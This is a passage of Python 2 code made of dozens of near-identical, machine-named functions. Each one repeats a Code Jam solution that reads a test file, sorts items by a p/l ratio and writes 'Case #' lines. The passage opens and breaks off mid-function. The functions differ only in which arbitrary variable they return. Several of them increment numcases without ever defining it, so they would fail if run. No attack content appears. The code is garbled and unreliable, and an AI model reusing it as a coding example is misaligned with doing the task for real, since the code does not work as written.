map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_ce40bd2362eb4060b7af5ef0f62f0655(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_11ffe33e949940c488792c104fd0ad6b(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_8dffa0bd7c0a47ce9cf31c7413d8c729(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return cas def func_fd275b3f394a4e72917087ed9098cb5e(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return numcases def func_e6592529f0674e8488874ef6a142f98a(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return i def func_dff2d0a75155431fbc527b0457271416(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return r def func_f1cb1abe398949e6a87f4940dbcf51f4(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return p def func_d4a347c889cb4c5f80ef8e451e3cc694(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return cas def func_1f00f73d4566401a9e7f0636f4ce188d(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return n def func_d44aecb79a9e40b9a62be0650e8ec533(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return q def func_48dd05eea3564c609f17c71adbf54789(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return l def func_f4280cd22ff24b73916977f1d939f170(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return r def func_fa0887c0e66a492598c113a0e39d9237(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return l def func_ce7b3d65b6cf4365badbf27fc37d0873(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return cas def func_05ea82c3581c4fc9a4b51af48fda674f(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return p def func_669c34e3fc6344abab146cdad7d646cb(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return i def func_7b169856c78446c9930112767f642c95(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return n def func_6b5ffc7f59a248a7bdc06c0a5d2bdb08(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return q def func_317e7d61cc5d4149989f7cc9b34ad4cd(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 return numcases def func_204b8a6f7c7340d6bf77f4f17db3ba3e(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 return fin def func_c3b3fd63fc5840f99758da1a92d1fe79(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 return fout def func_b8c1f878d498484ea751ee4c951fc832(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_35c52e5fa8ae41f4831a8cbfe5e34402(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return fout def func_aa01d01660cc4cdda8be84f78a512f77(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return numcases def func_d43ba2a7ad5743ba863c2e708fa26a64(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_4acd87fd5a7c49a099d603a4d0b5d402(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return cas def func_e59d8a647fd34aaaa7496bf443108a96(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_63b5ac70f1564f1ba5d3fd0d2a6ba5d1(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_e3dfadbd125340169410341b00e56474(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_bf35474ca1544074914d816754485346(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_96567d08ed1f48bd80f9e29da7cc2d17(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return numcases def func_d7027c5ecbeb4de7b42660450f3371c2(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return cas def func_3548f9d2a09040ee9283848f73dee2bc(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return l def func_d13ec42eb82347eab104c7c01df70827(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return i def func_c5ca2c6dffae4e72b23cee1a31f82d8b(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return p def func_3244d8308ed144ac83e79fb60179414f(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return q def func_8db5a5f3dfb14e20957752aa53e6c2aa(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return r def func_ddb246ac1fed463192842d32a15a4c5c(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return n def func_41a45d11b39840ba825fee53d0889708(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return n def func_432624fbc55041a09b38bbdb29a40965(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return p def func_1d0073f593fb431e80c60bb4d506e8f8(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return cas def func_adff1589c04c4a069944e63b6ebca6e4(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return l def func_e2ccc147c56547e4928476e6e47cca1a(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return r def func_9f15da5ef352410b89b0df5abdf17222(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return numcases def func_f2c603b44344440f897051b46a6cfe53(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return q def func_f3618bf4766847e687d82342d05c4bac(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return i def func_ee33b57101ee49e28357604b35a0868b(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_e9f3d101cce543b29be90047cf92e0e2(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_e4bc8389c87e45638e2863b776df6efb(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return fin def func_75fe2947538a4372b47e749dfed96db3(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_b2c445ffa2b048ad96df4ec6713d60cd(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_bbebd6885c904dde98311084bcf584b8(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_f08a105944e143d1b613b6afd78b064e(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return fout def func_08232871f56b4caea881bbbcba01d6d2(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_716b330b580c45efbea8156a002aa980(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return numcases def func_b474152ed89e4843ae709a0482465dc5(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return cas def func_b3bde3dae29d4507bd0941adb28de52f(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return l def func_a1a9753062c046ce82002d6b7e878020(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return fout def func_c8104825a46a48cc829d9d3a915d01de(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return i def func_03f5f1fd9bbe4219a04aadd46a69e273(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return cas def func_7213523e913c4f70a4dffee566199201(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return numcases def func_bdf0297c535d405e8d78dc8106583fe8(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return p def func_012f3141a2e3445aaab78938efc2c82b(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return q def func_a768ce9174eb494b8c9bf5b8646d74e1(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return n def func_02cdc7438d2547a0b5b7eb1ce525e834(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return r def func_731ae87e87aa431184e8792b7c5470dd(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return r def func_eee2324f04f649f0a0c08d8984a58b79(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] 